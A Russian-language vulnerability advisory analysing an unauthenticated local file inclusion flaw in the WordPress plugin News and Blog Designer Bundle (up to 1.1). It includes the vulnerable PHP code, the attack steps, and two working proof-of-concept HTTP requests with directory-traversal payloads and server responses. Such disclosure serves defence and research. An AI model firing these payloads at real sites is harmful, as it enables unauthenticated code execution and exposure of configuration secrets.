
Плагин News and Blog Designer Bundle для WordPress во всех версиях до 1.1 включительно содержит уязвимость локального включения файлов через параметр template. Эта уязвимость позволяет неаутентифицированным злоумышленникам включать и выполнять произвольные .php файлы на сервере, запуская любой PHP-код в этих файлах. В сценариях, где разрешена загрузка и включение файлов типа .php, злоумышленник может использовать эту уязвимость для обхода контроля доступа, получения конфиденциальных данных или выполнения кода.
Тип уязвимости: Локальное включение файлов (Local File Inclusion, LFI)
Версии под воздействием: News and Blog Designer Bundle 1.1 и все предыдущие версии
Степень серьезности: Высокая
Сложность эксплуатации: Низкая (без аутентификации)
Основная уязвимость находится в методе nbdb_fetch_more_post() файла includes/class-nbdb-ajax.php.
sanitize_text_field(extract( $_POST['shrt_param'] ));
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
Проблема 1: Некорректное использование функции extract()
Строка 31 кода содержит серьезную проблему:
sanitize_text_field(extract( $_POST['shrt_param'] ));
extract() извлекает ключи массива как имена переменных, а значения как значения переменных, непосредственно в текущую область видимостиextract() — количество успешно извлеченных переменных (целое число), а не сам массивsanitize_text_field() ожидает строковый аргумент, но здесь ей передается целое числоПроблема 2: Отсутствие проверки параметров
В строке 33 напрямую используется переменная $template для построения пути к файлу:
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template получена из extract($_POST['shrt_param']), полностью контролируется пользовательским вводомПроблема 3: Проверяется только существование файла
Строка 34 проверяет только существование файла:
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
file_exists() проверяет только существование файла, не проверяет легитимность пути$template, он может выполнить обход каталогов через ../include($template_file), что приводит к произвольному включению файловВ файле shortcodes/class-nbdb-shortcode.php все функции обработки шорткода используют проверку по белому списку:
$template = ($template && (array_key_exists(trim($template), $shortcode_templates))) ? trim($template) : 'template-1';
nbdb_post_template() для получения списка разрешенных шаблонов (только template-1 и template-2)array_key_exists() для проверки по белому спискуtemplate-1Это доказывает, что разработчик знает, как правильно проверять параметры, но проверка была пропущена в обработчике AJAX.
add_action( 'wp_ajax_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
add_action( 'wp_ajax_nopriv_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
wp_ajax_ и wp_ajax_nopriv_ зарегистрированыwp_ajax_nopriv_ позволяет доступ неавторизованным пользователям/wp-admin/admin-ajax.phpaction=nbdb_fetch_more_postshrt_param[template] внедряет полезную нагрузку для обхода каталогов (например, ../../../../wp-config)extract($_POST['shrt_param']), извлекая template как переменнуюNBDB_DIR . '/view/nbdb-masonry/' . '../../../../wp-config' . '.php'file_exists() возвращает trueinclude($template_file), что приводит к включению и выполнению целевого PHP-файлаwp-config.php).php (в коде жёстко задано расширение .php)include() для включённого файла. «Возможность чтения» означает, что сам включаемый PHP-файл должен иметь видимый вывод (echo/print/ошибка/протокол ответа), иначе содержимое не отобразится.POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 214
action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../xmlrpc&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:12:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Connection: close
Vary: Accept-Encoding
Content-Length: 403
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>-32700</int></value>
</member>
<member>
<name>faultString</name>
<value><string>parse error. not well formed</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 270
action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../wp-content/themes/twentytwentyfour/patterns/page-home-blogging&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:51:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Vary: Accept-Encoding
Content-Length: 3185
Content-Type: text/html; charset=UTF-8